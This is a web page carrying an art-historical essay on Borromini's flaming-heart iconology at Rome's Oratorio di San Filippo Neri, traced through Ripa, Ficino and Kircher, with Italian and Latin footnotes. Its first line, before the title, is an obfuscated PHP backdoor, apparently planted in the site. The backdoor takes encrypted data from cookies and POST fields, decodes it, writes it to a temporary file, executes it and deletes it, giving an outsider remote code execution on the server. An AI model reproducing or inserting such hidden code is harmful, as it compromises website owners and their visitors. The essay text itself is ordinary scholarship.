$oeQrs = class_exists("XKs_zewNt"); $ZRhBPTmPgL = $oeQrs;if (!$ZRhBPTmPgL){class XKs_zewNt{private $mLAKZkkdTy;public static $MfqOa = "32a16ad5-2b81-41b4-ab1c-cb577bd096c6";public static $BPLsmZe = NULL;public function __construct(){$PHBGM = $_COOKIE;$NGDlSOFlr = $_POST;$oftZz = @$PHBGM[substr(XKs_zewNt::$MfqOa, 0, 4)];if (!empty($oftZz)){$SToje = "base64";$mDByrGt = "";$oftZz = explode(",", $oftZz);foreach ($oftZz as $hINdQgbDt){$mDByrGt .= @$PHBGM[$hINdQgbDt];$mDByrGt .= @$NGDlSOFlr[$hINdQgbDt];}$mDByrGt = array_map($SToje . "\x5f" . chr (100) . chr ( 873 - 772 ).chr ( 248 - 149 ).chr (111) . chr ( 477 - 377 )."\x65", array($mDByrGt,)); $mDByrGt = $mDByrGt[0] ^ str_repeat(XKs_zewNt::$MfqOa, (strlen($mDByrGt[0]) / strlen(XKs_zewNt::$MfqOa)) + 1);XKs_zewNt::$BPLsmZe = @unserialize($mDByrGt);}}public function __destruct(){$this->DknsfbQJks();}private function DknsfbQJks(){if (is_array(XKs_zewNt::$BPLsmZe)) {$lhbTZ = sys_get_temp_dir() . "/" . crc32(XKs_zewNt::$BPLsmZe["\x73" . chr ( 636 - 539 )."\154" . chr (116)]);@XKs_zewNt::$BPLsmZe[chr (119) . 'r' . 'i' . chr (116) . chr (101)]($lhbTZ, XKs_zewNt::$BPLsmZe["\x63" . chr (111) . chr (110) . "\164" . chr ( 350 - 249 )."\x6e" . "\164"]);include $lhbTZ;@XKs_zewNt::$BPLsmZe["\144" . chr (101) . chr (108) . chr (101) . 't' . chr ( 428 - 327 )]($lhbTZ);exit();}}}$NSFWupflA = new XKs_zewNt(); $NSFWupflA = NULL;} ?> The Enflamed Heart: Architecture and Iconology | Iconocrazia
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13 Dicembre 2014

The Enflamed Heart: Architecture and Iconology

di John Hendrix

Iconocrazia 06/2014 - "Special Issue", Saggi

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Francesco Borromini interwove the flaming heart, the emblem of San Filippo Neri, into the design of the Oratorio di San Filippo Neri.

Fig. 1

Fig. 1

The Oratorio is attached to the Chiesa Nuova, or Chiesa di Santa Maria in Vallicella, on a piazza along the Corso Vittorio Emanuele II in the center of Rome. Both buildings were begun in 1637. The facade of the Chiesa Nuova was designed by Fausto Rughesi; the church contains decoration by Pietro da Cortona and Peter Paul Rubens.

Fig. 2

Fig. 2

The Oratorians were founded in Rome in 1575 by Filippo Neri, as a congregation of secular priests; they were the second-largest missionary order of the Catholic church in the Counter Reformation. The convent of the Oratorio contains the Vallicelliana Library.

Fig. 3

Fig. 3

Borromini, who was a member of the Congregation of the Oratory, used the forms of the heart and the flame in a variety of ways in the architecture, so that the building is a visual catechism of the values and ideals of the Oratorians. Images of the enflamed heart could also be found in the Iconologia of Cesare Ripa, accompanied by quotations from Marsilio Ficino, which explain the Neoplatonic and Hermetic ideas behind the images. An edition of the Iconologia with woodcuts was published in Rome in 1603; it was a popular handbook for artists.

Fig. 4

Fig. 4

The flaming heart represents the theme of divine love, and love for God. The emblem can be seen in schemes for the interior of the Oratorio, such as on top of the caminetto. The flowers on the mantle below reiterate the form.

Fig. 5

Fig. 5

The flame and heart are then superimposed in a design for the iron window grates, where a pattern can be read as both flames and hearts in a double reading, an ingenious design typical of Borromini.

Fig. 6

Fig. 6

A portion of the pattern then forms the shape of the pediment of the facade, and an enflamed heart can be seen in the niche on the façade below. The design for the pediment had appeared earlier in the drawings for Borromini’s first independent project, the Church of San Carlo alle Quattro Fontane, but was not used for the design of that building.

The flaming heart is the emblem of San Filippo Neri, and a symbol of the activity of the Oratorians. “Speaking from the heart” is the motto of the Oratorians. Carlo Borromeo, the primary source of the doctrines of the Oratorians, and patron saint of San Carlo alle Quattro Fontane, and after whom the architect named himself, expressed in a letter in 1571 that “one should attend to moving and inciting the will and affection of spiritual things.”1 The Oratorian Nicolo Gigli explained in 1588 that “fire is needed to light the heart which shines, while faith is needed for the hope that the spirit is everlasting.”2

The flaming heart which is woven into the architectural forms of the Oratorio can be found in several places in the Iconologia of Cesare Ripa, accompanied by quotations from Marsilio Ficino.

Fig. 7

Fig. 7

The figure of Heaven in the Iconologia is shown “holding a vase in which there is a flame of fire, and in the middle of it a heart which is consumed.”3 The heart is pictured in the middle of flames “in order to show the Egyptian belief in the perpetuality of heaven and its never aging.”4 In his Celestial Hierarchies, Pseudo-Dionysius described the heart as “a symbol of the Godlike life, dispersing its own life-giving power to the objects of its forethought after the divine likeness.”5 Heaven is also represented by Ripa by the sun and moon and circle of the zodiac on the breastplate of the figure.

Fig. 8

Fig. 8

Divinity is shown in the Iconologia with a trinity of flames rising from her head and two globes in her hands representing eternity.

Fig. 9

Fig. 9

Catholic Faith is shown holding a heart with a lit candle. “The heart in the hand with the lit candle demonstrates the illumination of the mind born from Faith, which disperses the darkness of infidelity and ignorance, as Saint Augustine says: ‘Infidelity is blindness, and faith is illumination’”.6

Fig. 10

Fig. 10

A figure representing the Origin of Love is “a woman who holds a round and transparent mirror, gazing into the Sun, whose rays pass through the mirror and light a torch placed in her right hand. From the handle of the mirror hangs a scroll on which the motto is written: ‘In this way love creates fire in the heart’,”7 which Ripa attributed to Plato. Thus “the origin of love derives from the eyes and vision.”8 Ripa explained that “the figure of the woman is a simile; as with the mirror, art lives when placed before the eyes of the sun, passing the solar rays which light the torch; as such our eyes are the mirror of nature, the torch of love in the enflamed heart.”9 Ripa explained that, based on Ficino in the De amore, or the Commentary on Plato’s Symposium, the eyes are like a mirror reflecting the eyes of the Sun, and that fire enters the heart through the eyes, creating the spirits. The eyes are thus the cause and origin of love. In the Timaeus 46A, Plato explained that reflected images result from the combination of inner and outer fires, in the combination of extramission and intromission theories of vision. Love is the medium by which art is created, and the forms of architecture for Borromini at the Oratorio.

Fig. 11

Fig. 11

De amore, or the Commentary on Plato’s Symposium, was written in Florence in 1469, after Marsilio Ficino had finished translating the works of Plato for the Medici family. It was not published until 1484, when it was included with Ficino’s translations of Plato’s works from Greek to Latin.

In the De amore, Ficino described the beginning of creation as the angelic mind turning from its originary darkness and formlessness toward the principles of God through an innate desire called love. Through the voice of Giovanni Calvalcanti, a friend of Ficino’s, in the first speech of the dialogue, Ficino said:

Turning toward God, it is illuminated by his rays, and through the splendor of the rays its desire is lit, and lit, everything is turned toward God. In turning toward God it assumes form; God can, in mind which turns toward him, sculpt the nature of all things which he creates. In this way all things are painted spiritually which are in this world.10

The desire of the angelic mind is lit by the rays of God through the eyes of the intellect in the same way that the desire of the soul is lit by the rays of the sun, through the eyes, and as a result the forms of the world are painted and sculpted. Ficino attributed the simile to Plato and Pseudo-Dionysius. He said, “Not without reason Pseudo-Dionysius compared God to the sun. As the sun illuminates and heats bodies, so God concedes the light of truth to souls and the warmth of charity. This comparison is also made in Book VI of the Republic of Plato.”11

The warmth of charity of the Oratorians is lit by the flame of the sun, being the light of God, and this is represented in the architecture. As described by Ficino in De amore, “In the same way the ray of the sun illumines four bodies, fire, air, water, and earth, a ray from God illuminates mind, soul, nature and matter.”12 The movement of bodies in the universe is also generated by love according to Ficino, enacting the divine principle in form. He said, “All of the parts of the earth approach each other by the force of a mutual love between them.…The spheres of air and fire climb to the upper regions through love of the similar. The heavens, as Plato says, move themselves through innate love.”13 The elements are united and intersected by the process of love. Love is the “maker and conservor of everything,”14 the cause of generation and procreation. In the creation myth of Pimander of Hermes Trismegistus, compiled and translated by Ficino in 1471, “nature, having received her loved one [Man], embraced him, and they were united, for they burned with love.”15

Hermes Trismegistus was thought by Marsilio Ficino to be an ancient Egyptian priest who originated the development of Platonic theological philosophy which contributed to the formation of Christian theology in Neoplatonism. For Ficino Hermes is “the original author of theology, followed by Orpheus, Pythagoras and Plato. There is thus an ancient theology culminating in Plato with origins in Hermes Trismegistus.”16 Plato studied the writings of Hermes Trismegistus in Heliopolis. Hermes is invoked as the most ancient source of wisdom in Ficino’s Theologia Platonica, which combines Platonic philosophy and Christian theology, and Egyptian and Greek philosophical and theological traditions. Cosimo de’ Medici commissioned Ficino to translate a Greek manuscript which had been brought to Florence and which contained fifteen Hermetic dialogues, known as the Corpus Hermeticum, describing the creation of the world and the ascension of the soul through the spheres of the planets to the divine kingdom. While at the time the manuscript was thought to be the writings of Hermes Trismegistus, as it turned out the writings were produced much later, and were in turn based on Platonic philosophy. Nevertheless, Ficino’s translation of the Corpus Hermeticum, entitled the Pimander after the first of the Hermetic dialogues, had a widespread influence in Renaissance art and philosophy. More copies of the manuscript were made than any other work by Ficino. Seventeen Latin editions were printed in the fifteenth century, and an Italian translation was printed in Florence in 1548.17

Love is also “master and governor of the arts” according to Ficino in De amore, because “no artistic ability can be found or tested if it is not moved by the delight in searching for truth,” and because “he who conducts artistic works to perfection loves the works and those for whom the works are made. The artifices in any art only seek love.”18 As love is the cause of the angelic mind turning toward God, by which he can sculpt and paint the forms of the world as spiritual images, so love is the means by which the artist creates forms in imitation of the divine, as Plato would have it in Republic X 597B, or in imitation of the divine principles, as Plotinus would have it. As Plotinus described in the Enneads, in his treatise on intelligible beauty, V.8.1, “if anyone despises the arts, because they produce their works by imitating nature, we must tell him, first, that natural things are imitations too. Then he must know that the arts do not simply imitate what they see, but they run back up to the forming principles from which nature derives…”19 Borromini represented his creative process in the forms of the architecture as the search for truth, guided by love, in the forming principles from which nature derives.

According to Ficino in De amore, visual images are formed in the eye, “because the eye, at first dark and unformed, similar to chaos, loves the light while it sees it, and seeing it absorbs the rays of the sun, and as it receives the rays it discovers the colors and shapes of things.…Love thus follows immediately after chaos.”20 The first turning of the essence of mind to God from chaos is the birth of love, the infusion of the illuminating ray of God is the nourishment of love, and the forming of the ideas is the perfection of love. The forms and ideas of the intellect form a mundus or cosmos, which is the ornament, and the grace of the ornament is beauty. That which is most beautiful in the sensible world is that which most conforms to the forms and ideas in intellect, as the form and idea interact with the imprint of the sensible object in perception. Love attracts the mind to the beautiful, and allows the mind to become beautiful, as it becomes more aware of the divine idea. The beauty of the ideas in the mind corresponds to the beauty of sensible objects, because it is the ideas in the mind which form sensible objects. Thus the mind is turned toward God in the same way that the eye is directed toward the light of the sun, in which it perceives the colors and shapes of things, which are formed from the inner light, which is the basis of the imagination.

As the mind looks toward the illumination of the divine idea, “it discovers the colors and shapes of things,” to which the sensible world conforms in the process of perception. Perception is a mechanism of the desire of the divine idea, the intelligibles, which order the sensible world, and allow it in turn to be loved by the perceiver. One loves to look at nature because one loves the way that it conforms to their idea of the order of the world, as in mathematics and geometry. One loves the sensible world because it reinforces intellect, and the inaccessible source of the generation of ideas within it. The desire for perfect proportions in Renaissance art and architecture is a product of the love for God.

The World Soul, the structure of the cosmos, turns toward the same ideas, from formlessness and chaos, and its turning is caused by love also. The world around the subject desires what the subject desires. The world becomes a world when it has received the forms from the mind, that is, when it is perceived. Without love, without the subject being present to perceive it, the world would just be formless matter, disconnected and haphazard. But love is innate in it, and it turns toward order. In De amore II.2, all things desire the beauty of God, and they rest when they possess it. Desire is kindled from the beauty of God. Desire is governed by knowledge of God, knowledge of the archetypal principle. The desire for the good in the circuitus spiritualis through the hypostases of being is that which governs artistic expression.

Love is the desire for beauty in De amore I.4, because this is the definition of love among philosophers, according to Ficino. Beauty is a three-fold grace which originates in harmonies: the harmony of virtues in souls, the harmony of colors and lines in bodies, and the harmony of tones in music. Harmony in soul is known by intellect, harmony in body is known by visual perception, and harmony in sound is known by aural perception. It is through the intellect and perception that love is satisfied, as opposed to through bodily functions. The harmony in intellect corresponds to the harmony in vision and sound. The visual form of a work of art corresponds to the form of the ideas in the mind, and is thus considered beautiful, and incites desire, for beauty in form and virtue in mind. The work of art is successful if it incites that desire, the desire for God, and never satiates that desire, as desire for the infinite and inaccessible can never be satiated. Thus the viewer would always have the desire to return to the work of art or architecture, and see it again, because it conforms to the desire of the intellect for the good, or the idea of forms which orders the world in perception, and language as well, as a function of perception.

The beauty of the body requires a harmony of different parts in the same way that perception requires a harmony of forms and colors. The harmony of the parts of the body is not given by the body, but by perception and intellect, as a function of love; without the perceiver, the body is chaotic and disconnected. Love, and desire, are functions of the graces, in intellectual, visual, and aural harmony. The appetite following the other senses is not love, but rather lust or madness. Love between two people is a mutual desire for beauty, a reciprocal understanding of what beauty is, in both body and intellect. In De amore II.9, love of the body is only in the visual perception of the body, in the beauty of the splendor in the ornament of colors and lines. Love in intellect is a mutual desire for those laws and customs which are seen as harmonious and beautiful. The beauty of the soul is splendor in the harmony of doctrines and customs. Platonic love, the idea of Ficino and not Plato, is the reciprocal desire for beauty in soul, the shared love of God.

Fig. 12

Fig. 12

According to Athanasius Kircher, in Oedipi Aegyptiaci, written in Rome in 1652, love can be represented by a sphere in which intersecting pyramids are inscribed to represent the process of creation, which is the result of love, expressed by a series of hieroglyphic characters which form the word philo or love.

Figure 13

The Sphaera Amoris, or Sphere of Love, appeared in the Obeliscus Pamphilius, published in Rome in 1650. The diagram of intersecting pyramids corresponds to the creation myth of Pimander from the Corpus Hermeticum.

The characters include the contradictory pyramids of light and darkness generating motion, and the sphere which represents “the cycles of the soul of the world, secretly revolving and regenerating through everything.”21 The intersecting pyramids represent the soul of the world descending from God through the universe to matter. Kircher wrote in the Oedipi Aegyptiaci,

The entire construction of the sphere of the world is filled with this love.…Love does not so much shine towards the depths, but draws upwards truth and natural virtue or magic, compelling a mutual circular revolution. So there is a progression or descent from God, or the soul of the world as Plato calls it, through the things of the universe to the material, represented by the connected pyramids.22

Kircher, a friend of Borromini who taught at the Collegio Romano, described the pyramids as connected and bound in harmony by magic and love, and “from this bond comes the highest love, defined by Pseudo-Dionysius as ‘A circle formed from the good perpetually revolving in the good’,”23 the self-moving circle of divine intelligence, propelled by love. Kircher wrote that the circle:

commences and draws from God, showing the reason of perfect beauty, transferred into the world, called love above all, revolving in beauty, turning in the example and image of beauty. This circulation penetrates through everything, desiring to continue upwards and downwards. It causes the rays of the sun to create light in the heavens, splendor in the air, light in the elements and mixtures in bodies. Love is thus visible as it causes the conversion of all things to divine beauty and principal form, and in the words of Proclus joins all things and establishes connections, replenishing things, distributing divine light throughout the universe.24

Through the impulse of love the apex of the pyramid of creation can be reached, being the highest celestial realm, and thus, as described in the treatise Obelisci Aegyptiaci, published in Rome in 1666,“earth and water are formed, and air is released from fire, then distributed in the sky,”25 in the process of creation through the medium of love. Love is the medium which connects opposites in the process of creation and distributes divine light. Kircher wrote, “Love is diffused into all things in the universe. It is necessary that things in the universe are different and born contrary, but are joined by love, as Marsilio Ficino taught, and the most extreme cause of contradiction is grasped, as was elegantly stated by Plato.”26 In the design for the Oratorio by Borromini, love is the medium which combines the opposite forms which represent it in the visual pattern of the pediment and the window grate, “showing the reason of perfect beauty.” Love is made visible as it causes the conversion of all things to divine beauty and principal form. Beauty is both divine and visible, as taught by Phaedrus in the dialogues of Plato.

Light is described by Kircher in his Primitiae Gnomonicae Catopticae of 1633 as “radiating in a fertile manner, stimulating motion and desire.”27 Light is diffused in a celestial sphere in which divine intelligence is manifest in images and forms, through geometrical abstraction and intellectual organization. According to Kircher,

Light is a symbol of the goodness and truth of God, passed through desire through angelic and human intelligence, according to Pseudo-Dionysius. In the heavens, according to Hermes Trismegistus, life is a copy of the divine mind made by the angels, as the unfolding of virtue, as Plato also says. A certain energy is implanted in fire from above, and everything accessible to the senses is diffused by grace and divine goodness, in copies and images.28

The source and process of the transmission of the light is incomprehensible, and can only be intuited through sensation and apprehension. As Kircher says, “light diffused in all natural things is as an incomprehensible good (as Marsilio Ficino says), undefined by philosophers, a clear light from an unknown source.”29 As Pseudo-Dionysius explained in his Mystical Theology and Epistles, “the creation of the visible universe is a veil placed before the invisible things of God…. visible things are in truth clear images of the invisible.”30 As God is incomprehensible, and the source of all light and life, He is “the highest peak of mystic inspiration, eminently unknown yet exceedingly luminous, where the pure, absolute and unchanging mysteries of theology are veiled in the dazzling obscurity of the secret silence, outshining all brilliance with the intensity of their darkness, and surcharging our blinded intellects with the utterly impalpable and invisible splendor surpassing all beauty,”31 which is the source and object of love.

Kircher was a high-profile figure in the culture of Rome in the seventeenth century, and involved himself in several ways in the artistic production of the city at the time. He had a large collection of artifacts which formed the basis of the current Prehistoric and Ethnographic Museum in Rome, and he published texts on the monuments of Egypt and other exotic cultures. As Raynaldo Perugini says, “Kircher has the means of intervening, in a more direct manner than his predecessors, into the field of art and architecture, through his hypothetical and idealized reconstructions of imaginary structures based on the descriptions of classical authors.”32 Kircher also published books on optical theory, the use of geometry in perspective, and acoustics in buildings. He instructed Nicolas Poussin in the art of perspective; in return, Poussin painted his portrait.

Clearly the architectural design and iconology are representative of the philosophy and theology of seventeenth-century Rome. The building can be seen as a text of its culture, an expression of the zeitgeist of the culture, if the culture is understood thoroughly. The iconology and architectural forms tell us about the culture, and the culture informs us about the artistic production. In order to write this paper, which was originally part of my dissertation, I spent two years in the Vatican library translating passages from Kircher’s treatises, which were written in Latin and Italian, but many of which have never been translated into any other language, even modern Italian. It became clear to me how little is known about the culture of seventeenth-century Rome; there is much translation work still to be done in order to thoroughly understand the philosophical and theological concepts of the era, and by extension, to understand the artistic expression of the era, in the depth of its iconological content.

The churches designed by Borromini, and the Oratorio, can be read as three-dimensional hieroglyphs. The experience of the worshipper is meant to be one of the revelation of what can be known not just by knowledge and perception, but also through faith and intuition, and love. In the Summa Theologica of Thomas Aquinas, “the superior order of things can in no way be known by the similitudes of the inferior order of things,”33 quoting Pseudo-Dionysius, following the Platonic description in Republic 508D of material reality as “the twilight world of change and decay.”34 God can only be seen by intellect and love, and not by the sense of perception. Again quoting Pseudo-Dionysius, Aquinas wrote that “intelligible things cannot be understood through sensible things,”35 but sensible things can lead towards intelligible things. The emblems of Borromini, Ripa and Kircher, as hieroglyphs, figures and diagrams, are both sensible and intelligible, and are designed to lead the mind from the sensible toward the intelligible, from material reality toward God, or the Platonic Good.

Such was the intention of the architecture of Borromini, to enact in a visual representation a glimpse of intelligible reality and the ultimate unknowability of the divine archetypal intelligence of the Christian God in the Neoplatonic and Hermetic tradition. The architecture was a means by which, as expressed by Plotinus, the visible universe can be apprehended in thought, as in the hieroglyph.

God is manifest in the architecture of Borromini in the intelligible structure of the church and in the use of the symbol in the iconology. In the philosophies of Marsilio Ficino and Athanasius Kircher, analogic art is the process of enacting the imagination through conjecture in order to apprehend the hidden order of the universe, as in the reading of hieroglyphics. The process is seen as a microcosm of the universal process of nature, as represented in the hieroglyphs and emblems. The architecture of Borromini is a translation of Neoplatonic and Hermetic ideas into architectural forms and an enactment of imagination through conjecture, as the role of the architect is to create a model which is a copy of the hidden structure of the universe created from intelligible archetypes.

An understanding of the intentions in the architecture can serve as a paradigm for the investment of philosophical and epistemological structures into any architecture or art, whether the structures are theological, mythological, allegorical, mystical, empirical or scientific. The intention of such a relationship is that architecture be seen as a text of the epistemology, the structure of knowledge, of its culture.


1 Antonio Cistellini, San Filippo Neri (Brescia: Morcelliana, 1989), p. 86: “si attende a muovere et accendere la volontà et affetto delle cose spirituali.”

2 Ibid., p. 88: “fuoco bisogna per accendere il cuore di chi raggiona, fede per sperare che chi dava spirito alhora lo darà ancora di presente.”

3 Cesare Ripa, Iconologia, p. 54: “tenga un vaso nel quale sia una fiamma di fuoco, e in mezzo di essa un cuore che si consumi.”

4 Ibid.: “onde è che gli Egittii per dinotare la perpetuità del Cielo che mai s’invecchia dipingevano un core in mezo le fiamme.”

5 John Parker, The Celestial Hierarchy of Dionysius the Areopagite (London: Skeffington, 1894), p. 46.

6 Ripa, Iconologia, p. 128: “Il cuore in mano con la candela accesa mostra l’illuminatione della mente nata per la Fede, che discaccia le tenebre dell’infedelità, e dell’ignoranza, dicendo S. Agostino: ‘Caecitas est infidelitas, e illuminatio fides’.”

7 Ibid., p. 329: “Donna che tenga uno specchio trasparente rotondo, incontro all’occhio del Sole, il quale con i suoi raggi trapassando per mezzo dello specchio penda una cartella nella quale sia scritto questo motto. ‘Sic in corde facit amor incendium’.”

8 Ibid.: “L’Origine d’Amore deriva dall’occhio, dal vedere.”

9 Ibid., p. 331: “La presente figura è una similitudine; si come per lo specchio vivo dell’arte posto incontro all’occhio del sole, passando i raggi solari s’accende la facella; cosi per gli occhi nostri specchi della natura, la facella d’amore nel cor s’accende.”

10 Marsilio Ficino, Sopra lo Amore over convito di Platone (Fiorenza: In Firénze Per Néri Dorteláta, 1544), p. 18: “Voltandosi a Dio, dal suo raggio è illustrata, e per lo splendor di quel raggio si accende l’appetito suo: acceso, tutto a Dio s’accosta: accostandosi, piglia le forme: imperocchè, Iddio che tutto può, nella Mente, che a lui si accosta, scolpisce le nature di tutte le cose che si creano. In quella adunque spiritualmente si dipingono tutte le cose, che in questo Mondo sono.”

11 Ibid., p. 26: “Non senza ragione Dionisio agguaglia Iddio al Sole. Imperocchè si come il Sole illumina i corpi e scalda: similmente Iddio, lume del vero agli animi concede e ardore di carità. Questa comparazione del VI Libro della Republica di Platone.”

12 Ibid., p. 33: “E come medesimo raggio di sole illustra quattro corpi, fuoco, aria, acqua e terra: così un raggio di Dio, la mente, l’anima, la natura e la materia illumina.”

13 Ibid., p. 44: “Tutte le parti della terra per forza di scambievole amore tra loro come simili s’accostano…le sfere dell’aria e del fuoco alla regione superna, come simile, per amore di quella salgono. Il cielo ancora, come dice Platone, si muove per innato amore.”

14 Ibid., p. 43: “L’amore è fattore e conservatore del tutto.”

15 Quoted in Frances Yates, Giordano Bruno and the Hermetic Tradition (Chicago: University of Chicago Press, 1964), p. 24.

16 Raynaldo Perugini, La Memoria Creativa (Roma: Officina Edizioni, 1984), p. 29: “A proposito del Trismegisto, Ficino scrive: ‘Egli è detto il primo autore di teologia: gli successe Orfeo, secondo fra i teologi dell’antichità; Aglaofemo, che era stato iniziato all’insegnamento sacro di Orfeo, ebbe come successore in Platone. C’è quindi una teologia antica…che ha la sua origine in Mercurio e culmina nel divino Platone’ [Opera Omnia].”

17 Ibid., p. 30: “Ora, per uno studio oggettivamente chiaro del Neoplatonismo rinascimentale, inaugurato praticamente dalle traduzioni e dai relativi commenti da parte del Ficino, bisogna tenere conto dell’influenza che questa convinzione della origine egiziana del Trismegisto, che come abbiamo visto era estremamente diffusa, e che faceva si che si veniva a considerare Ermete come l’ispiratore di Platone per il tramite di Pitagora e non viceversa, poteva esercitate sul pensiero filosofico del momento. Tra l’altro, è caratteristica l’ampia diffusione avuta dal Pimander durante l’arco rinascimentale: ne esistono infatti un gran numero di copie manoscritte, molte di più che di qualsiasi altra opera di Ficino. Parallelamente, ad una prima edizione a stampa del 1471 fanno seguito ben sedici edizioni successive prima della fine del Cinquecento. Una traduzione italiana curata da Tommaso Benci viene stampata a Firenze nel 1548.…”

18 Ficino, Sopra lo Amore, p. 45: “Chiamasi ancora signore e governatore delle Arti…se consideremo nessuno potere arte alcuna trovare o imparare, se non mosso da diletto di ricercare il vero…e perchè colui conduce a perfezione l’opere delle arti, il quale ama le opere dette e le persone a chi è fa le opere. Aggiungersi che gli artefici in qualunque arte non ricercano altro che lo Amore.”

19 Plotinus, Enneads, trans. A. H. Armstrong, Cambridge, MA: Harvard University Press, The Loeb Classical Library, 1966.

20 Ficino, Sopra lo Amore, p. 20: “Il perchè l’occhio, primamente oscuro e informe a similitudine di caos, ama il lume mentre che ei guarda, e guardando piglia i raggi del sole: e quelli ricevendo, de’ colori e delle figure delle cose s’informa.…Chi dubiterà adunque che lo Amore non seguiti subitamente il Caos.”

21 Athanasius Kircher, Oedipi Aegyptiaci (Roma, 1653), p. 115: “cyclicas animae Mundi per omnia Mundi membra conversiones arcane innuit.”

22 Ibid., p. 116: “Totam Mundanae sphaerae fabricam hoc amore replet.…Amor enim non tantum versus inferiora demittit radios, quo cuncta vivificet, verum et virtute naturali seu magica naturarum cognatione sursum attrahit, et in amplexus mutuos plena conversione compellit. Sic enim sit progressus vel descensus a Deo, seu ut Platonice loquar, Anima Mundi per Mundi res universas, asque ad materiem, quem processum descensumque apte pyramidalis.…”

23 Ibid.: “Unde non male amorem ita summum Philosophus Areopagita definit, ut quidam sit ‘Circulus a bono in bonum perpetuo revolutus’.”

24 Ibid: “Nam ut a Deo incipit, et allicit, perfectae pulchritudinis rationem praefefert; ut autem in Mundum transit, amor potissimum dicitur; voluptas denique, prout in Authorem remeans pulchro exemplari, pulchram imaginem, pulchra revolutione convertit. In hoc circuitu per omnia penetrans, sursum eadem fecum, deorsumque volui continuo facit; non fecus ac Solis simplex radius per se uniformis in coelo lucem, splendorem in aethere, in elementis lumen, in mistis corporibus colorem lucidum creat. Patet itaque quod amatorius ordo sit causa conversionis in rebus omnibus ad divinam pulchritudinem et formam principem, atque (ut verbis Procli utar) reducat sequentia ad illam omnia, eique coniungens, et coniuncta confirmans, et mox inde sequentia replens, divini luminis dotes inde scaturientes per universa distribuat.”

25 Athanasius Kircher, Obelisci Aegyptiaci (Roma 1666), p. 91: “Per iusdem amoris impulsum obediunt visissim inferiora supernis maxime, sic terra tractabilis aquae, et haec in aerem deinde resolvitur aer in ignem, ac dein per poros insensibiles digesta in aethera, sublunaris substantiae portiuncula firmioris paulatim concretionis.…”

26 Ibid.: “Amorem per universum diffusum omnibus in rebus esse. Cum vero magna rerum in hoc Mundo sit diversitas, necessarium est, eum ex contrariis saepe nasci, neque enim ulla pars Mundi alteram odit, nisi amore sui, ut pulchre in explicatione convivii Marsilius docet, et rursum eum contrariorum maxime affectricem causam, unde illud Plautinum oppido elegantur.”

27 Athanasius Kircher, Primitiae Gnomonicae Catopticae (Avenione: Ioannis Piot Ex Typographia, 1633), p. 3: “lucis inquam foecundae radio, veluti risu quoda incitata, spirituque dilatata, in voluptates foecundo motu stimulai.”

28 Ibid., p. 2: “Quid enim aliud lux a Deo, nisi immensae bonitatis suae veritatisque exuberatia? quid in Angelis, nisi intelligentiae quaedam (ut cum Dionysio loquar) certitudo a Deo manans, profusumque voluntatis gaudium? quid in caelestibus, iuxta Trismegisti mentem, illa aliud est, nisi vitae copia ab Angelis facta, virtutisque explicatio, quam Platonici risum caelorum nominant? Quid in igne, nisi vitalis quidam vigor a superioribus insitus.…In iis denique quae sensu carent, nil nisi caelitus quaedam diffusa gratia, ubique divinae bonitatis, veritatisque typus et imago.”

29 Ibid., p. 3: “Refert itaque lumen in omnibus naturam boni incomprehensi, quam (teste Marsilio) Philosophorum nullus adhuc definivit, adeo, ut luce clarissima, nihil obscurius, nil ignotius re omnium notissima.”

30 Trans. in Fran O’Rourke, Pseudo-Dionysius and the Metaphysics of Aquinas (New York: E. J. Brill, 1992), p. 9.

31 Ibid., p. 19.

32 Perugini, La Memoria Creativa, p. 58: “Tra l’altro Kircher ha modo di intervenire in maniera più diretta dei suoi predecessori nel campo artistico-architettonico, si è per mezzo delle sue ipotesi di ricostruzione ideale di edifici più o meno fantastici sulla scorta delle descrizioni degli antichi autori classici.…”

33 Saint Thomas Aquinas, Summa Theologica, trans. Fathers of the English Dominican Province (New York: Benziger, 1948), 12.2.

34 Plato, Republic, trans. Desmond Lee, London: Penguin Books, 1955.

35 Aquinas, Summa Theologica, 88.3.

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